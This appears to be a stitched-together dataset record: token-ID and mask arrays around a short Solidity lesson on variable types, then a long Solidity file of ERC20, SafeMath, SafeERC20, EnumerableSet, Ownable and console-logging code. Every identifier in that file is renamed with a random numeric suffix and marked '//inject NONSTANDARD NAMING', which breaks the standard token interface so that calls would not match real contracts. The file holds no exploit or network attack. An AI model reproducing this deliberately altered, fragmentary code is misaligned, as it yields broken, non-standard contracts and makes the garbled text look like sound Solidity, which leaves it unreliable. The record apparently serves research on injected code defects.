-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// there are 3 types of variables in solidity
// 1. local - declared inside a function, not stored on the blockchain
// 2. state - declared outside the function, stored on blockchain
// 3. global (provides info about the blockchain)
pragma solidity ^0.8.3;
contract Variables {
// state variables are stores on blockchain
string public text = "hello world";
uint256 public num = 123;
function someTask() public view {
// Local variables are not saved to blockchain
uint256 i = 456;
// here are some of the global variables
uint256 timestamp = block.timestamp;
address sender = msg.sender;
}
}
| state variables are stores on blockchain | contract Variables {
string public text = "hello world";
uint256 public num = 123;
function someTask() public view {
uint256 i = 456;
uint256 timestamp = block.timestamp;
address sender = msg.sender;
}
}
| 2,504,467 | [
1,
2019,
3152,
854,
9064,
603,
16766,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
23536,
288,
203,
565,
533,
1071,
977,
273,
315,
23711,
9117,
14432,
203,
565,
2254,
5034,
1071,
818,
273,
17335,
31,
203,
203,
203,
565,
445,
2690,
2174,
1435,
1071,
1476,
288,
203,
3639,
2254,
5034,
277,
273,
1059,
4313,
31,
203,
203,
3639,
2254,
5034,
2858,
273,
1203,
18,
5508,
31,
203,
3639,
1758,
5793,
273,
1234,
18,
15330,
31,
203,
565,
289,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity 0.6.12;
interface IERC20 {
function TOTALSUPPLY831() external view returns (uint256); //inject NONSTANDARD NAMING
function BALANCEOF536(address account) external view returns (uint256); //inject NONSTANDARD NAMING
function TRANSFER353(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function ALLOWANCE946(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING
function APPROVE926(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFERFROM954(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
event TRANSFER795(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING
event APPROVAL172(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING
}
library SafeMath {
function ADD659(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function SUB877(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return SUB877(a, b, "SafeMath: subtraction overflow");
}
function SUB877(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function MUL487(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function DIV156(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return DIV156(a, b, "SafeMath: division by zero");
}
function DIV156(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function MOD860(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return MOD860(a, b, "SafeMath: modulo by zero");
}
function MOD860(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function ISCONTRACT107(address account) internal view returns (bool) { //inject NONSTANDARD NAMING
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function SENDVALUE513(address payable recipient, uint256 amount) internal { //inject NONSTANDARD NAMING
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function SAFETRANSFER239(IERC20 token, address to, uint256 value) internal { //inject NONSTANDARD NAMING
_CALLOPTIONALRETURN137(token, abi.encodeWithSelector(token.TRANSFER353.selector, to, value));
}
function SAFETRANSFERFROM64(IERC20 token, address from, address to, uint256 value) internal { //inject NONSTANDARD NAMING
_CALLOPTIONALRETURN137(token, abi.encodeWithSelector(token.TRANSFERFROM954.selector, from, to, value));
}
function SAFEAPPROVE765(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.ALLOWANCE946(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_CALLOPTIONALRETURN137(token, abi.encodeWithSelector(token.APPROVE926.selector, spender, value));
}
function SAFEINCREASEALLOWANCE134(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING
uint256 newAllowance = token.ALLOWANCE946(address(this), spender).ADD659(value);
_CALLOPTIONALRETURN137(token, abi.encodeWithSelector(token.APPROVE926.selector, spender, newAllowance));
}
function SAFEDECREASEALLOWANCE546(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING
uint256 newAllowance = token.ALLOWANCE946(address(this), spender).SUB877(value, "SafeERC20: decreased allowance below zero");
_CALLOPTIONALRETURN137(token, abi.encodeWithSelector(token.APPROVE926.selector, spender, newAllowance));
}
function _CALLOPTIONALRETURN137(IERC20 token, bytes memory data) private { //inject NONSTANDARD NAMING
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).ISCONTRACT107(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
function _ADD286(Set storage set, bytes32 value) private returns (bool) { //inject NONSTANDARD NAMING
if (!_CONTAINS837(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _REMOVE863(Set storage set, bytes32 value) private returns (bool) { //inject NONSTANDARD NAMING
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _CONTAINS837(Set storage set, bytes32 value) private view returns (bool) { //inject NONSTANDARD NAMING
return set._indexes[value] != 0;
}
function _LENGTH639(Set storage set) private view returns (uint256) { //inject NONSTANDARD NAMING
return set._values.length;
}
function _AT524(Set storage set, uint256 index) private view returns (bytes32) { //inject NONSTANDARD NAMING
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
function ADD659(AddressSet storage set, address value) internal returns (bool) { //inject NONSTANDARD NAMING
return _ADD286(set._inner, bytes32(uint256(value)));
}
function REMOVE976(AddressSet storage set, address value) internal returns (bool) { //inject NONSTANDARD NAMING
return _REMOVE863(set._inner, bytes32(uint256(value)));
}
function CONTAINS600(AddressSet storage set, address value) internal view returns (bool) { //inject NONSTANDARD NAMING
return _CONTAINS837(set._inner, bytes32(uint256(value)));
}
function LENGTH659(AddressSet storage set) internal view returns (uint256) { //inject NONSTANDARD NAMING
return _LENGTH639(set._inner);
}
function AT450(AddressSet storage set, uint256 index) internal view returns (address) { //inject NONSTANDARD NAMING
return address(uint256(_AT524(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
function ADD659(UintSet storage set, uint256 value) internal returns (bool) { //inject NONSTANDARD NAMING
return _ADD286(set._inner, bytes32(value));
}
function REMOVE976(UintSet storage set, uint256 value) internal returns (bool) { //inject NONSTANDARD NAMING
return _REMOVE863(set._inner, bytes32(value));
}
function CONTAINS600(UintSet storage set, uint256 value) internal view returns (bool) { //inject NONSTANDARD NAMING
return _CONTAINS837(set._inner, bytes32(value));
}
function LENGTH659(UintSet storage set) internal view returns (uint256) { //inject NONSTANDARD NAMING
return _LENGTH639(set._inner);
}
function AT450(UintSet storage set, uint256 index) internal view returns (uint256) { //inject NONSTANDARD NAMING
return uint256(_AT524(set._inner, index));
}
}
contract Initializable {
bool private initialized;
bool private initializing;
modifier INITIALIZER933() { //inject NONSTANDARD NAMING
require(initializing || ISCONSTRUCTOR543() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
function ISCONSTRUCTOR543() private view returns (bool) { //inject NONSTANDARD NAMING
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
contract ContextUpgradeSafe is Initializable {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
function __CONTEXT_INIT408() internal INITIALIZER933 { //inject NONSTANDARD NAMING
__CONTEXT_INIT_UNCHAINED28();
}
function __CONTEXT_INIT_UNCHAINED28() internal INITIALIZER933 { //inject NONSTANDARD NAMING
}
function _MSGSENDER195() internal view virtual returns (address payable) { //inject NONSTANDARD NAMING
return msg.sender;
}
function _MSGDATA356() internal view virtual returns (bytes memory) { //inject NONSTANDARD NAMING
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
contract OwnableUpgradeSafe is Initializable, ContextUpgradeSafe {
address private _owner;
event OWNERSHIPTRANSFERRED637(address indexed previousOwner, address indexed newOwner); //inject NONSTANDARD NAMING
function __OWNABLE_INIT503() internal INITIALIZER933 { //inject NONSTANDARD NAMING
__CONTEXT_INIT_UNCHAINED28();
__OWNABLE_INIT_UNCHAINED19();
}
function __OWNABLE_INIT_UNCHAINED19() internal INITIALIZER933 { //inject NONSTANDARD NAMING
address msgSender = _MSGSENDER195();
_owner = msgSender;
emit OWNERSHIPTRANSFERRED637(address(0), msgSender);
}
function OWNER330() public view returns (address) { //inject NONSTANDARD NAMING
return _owner;
}
modifier ONLYOWNER691() { //inject NONSTANDARD NAMING
require(_owner == _MSGSENDER195(), "Ownable: caller is not the owner");
_;
}
function RENOUNCEOWNERSHIP236() public virtual ONLYOWNER691 { //inject NONSTANDARD NAMING
emit OWNERSHIPTRANSFERRED637(_owner, address(0));
_owner = address(0);
}
function TRANSFEROWNERSHIP889(address newOwner) public virtual ONLYOWNER691 { //inject NONSTANDARD NAMING
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OWNERSHIPTRANSFERRED637(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
interface INBUNIERC20 {
function TOTALSUPPLY831() external view returns (uint256); //inject NONSTANDARD NAMING
function BALANCEOF536(address account) external view returns (uint256); //inject NONSTANDARD NAMING
function TRANSFER353(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function ALLOWANCE946(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING
function APPROVE926(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFERFROM954(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
event TRANSFER795(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING
event APPROVAL172(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING
event LOG470(string log); //inject NONSTANDARD NAMING
}
library console {
address constant console_address243 = address(0x000000000000000000636F6e736F6c652e6c6f67); //inject NONSTANDARD NAMING
function _SENDLOGPAYLOAD647(bytes memory payload) private view { //inject NONSTANDARD NAMING
uint256 payloadLength = payload.length;
address consoleAddress = console_address243;
assembly {
let payloadStart := add(payload, 32)
let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0)
}
}
function LOG714() internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log()"));
}
function LOGINT241(int p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(int)", p0));
}
function LOGUINT442(uint p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint)", p0));
}
function LOGSTRING55(string memory p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string)", p0));
}
function LOGBOOL721(bool p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool)", p0));
}
function LOGADDRESS713(address p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address)", p0));
}
function LOGBYTES271(bytes memory p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes)", p0));
}
function LOGBYTE944(byte p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(byte)", p0));
}
function LOGBYTES1701(bytes1 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes1)", p0));
}
function LOGBYTES2946(bytes2 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes2)", p0));
}
function LOGBYTES314(bytes3 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes3)", p0));
}
function LOGBYTES4424(bytes4 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes4)", p0));
}
function LOGBYTES566(bytes5 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes5)", p0));
}
function LOGBYTES6220(bytes6 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes6)", p0));
}
function LOGBYTES7640(bytes7 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes7)", p0));
}
function LOGBYTES8995(bytes8 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes8)", p0));
}
function LOGBYTES9199(bytes9 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes9)", p0));
}
function LOGBYTES10336(bytes10 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes10)", p0));
}
function LOGBYTES11706(bytes11 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes11)", p0));
}
function LOGBYTES12632(bytes12 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes12)", p0));
}
function LOGBYTES13554(bytes13 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes13)", p0));
}
function LOGBYTES14593(bytes14 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes14)", p0));
}
function LOGBYTES15340(bytes15 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes15)", p0));
}
function LOGBYTES16538(bytes16 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes16)", p0));
}
function LOGBYTES17699(bytes17 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes17)", p0));
}
function LOGBYTES18607(bytes18 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes18)", p0));
}
function LOGBYTES19918(bytes19 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes19)", p0));
}
function LOGBYTES20388(bytes20 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes20)", p0));
}
function LOGBYTES21100(bytes21 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes21)", p0));
}
function LOGBYTES22420(bytes22 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes22)", p0));
}
function LOGBYTES238(bytes23 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes23)", p0));
}
function LOGBYTES24936(bytes24 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes24)", p0));
}
function LOGBYTES25750(bytes25 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes25)", p0));
}
function LOGBYTES26888(bytes26 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes26)", p0));
}
function LOGBYTES2749(bytes27 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes27)", p0));
}
function LOGBYTES28446(bytes28 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes28)", p0));
}
function LOGBYTES29383(bytes29 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes29)", p0));
}
function LOGBYTES30451(bytes30 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes30)", p0));
}
function LOGBYTES31456(bytes31 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes31)", p0));
}
function LOGBYTES32174(bytes32 p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes32)", p0));
}
function LOG714(uint p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint)", p0));
}
function LOG714(string memory p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string)", p0));
}
function LOG714(bool p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool)", p0));
}
function LOG714(address p0) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address)", p0));
}
function LOG714(uint p0, uint p1) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint)", p0, p1));
}
function LOG714(uint p0, string memory p1) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string)", p0, p1));
}
function LOG714(uint p0, bool p1) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool)", p0, p1));
}
function LOG714(uint p0, address p1) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address)", p0, p1));
}
function LOG714(string memory p0, uint p1) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint)", p0, p1));
}
function LOG714(string memory p0, string memory p1) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string)", p0, p1));
}
function LOG714(string memory p0, bool p1) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool)", p0, p1));
}
function LOG714(string memory p0, address p1) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address)", p0, p1));
}
function LOG714(bool p0, uint p1) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint)", p0, p1));
}
function LOG714(bool p0, string memory p1) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string)", p0, p1));
}
function LOG714(bool p0, bool p1) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool)", p0, p1));
}
function LOG714(bool p0, address p1) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address)", p0, p1));
}
function LOG714(address p0, uint p1) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint)", p0, p1));
}
function LOG714(address p0, string memory p1) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string)", p0, p1));
}
function LOG714(address p0, bool p1) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool)", p0, p1));
}
function LOG714(address p0, address p1) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address)", p0, p1));
}
function LOG714(uint p0, uint p1, uint p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2));
}
function LOG714(uint p0, uint p1, string memory p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2));
}
function LOG714(uint p0, uint p1, bool p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2));
}
function LOG714(uint p0, uint p1, address p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2));
}
function LOG714(uint p0, string memory p1, uint p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2));
}
function LOG714(uint p0, string memory p1, string memory p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2));
}
function LOG714(uint p0, string memory p1, bool p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2));
}
function LOG714(uint p0, string memory p1, address p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2));
}
function LOG714(uint p0, bool p1, uint p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2));
}
function LOG714(uint p0, bool p1, string memory p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2));
}
function LOG714(uint p0, bool p1, bool p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2));
}
function LOG714(uint p0, bool p1, address p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2));
}
function LOG714(uint p0, address p1, uint p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2));
}
function LOG714(uint p0, address p1, string memory p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2));
}
function LOG714(uint p0, address p1, bool p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2));
}
function LOG714(uint p0, address p1, address p2) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2));
}
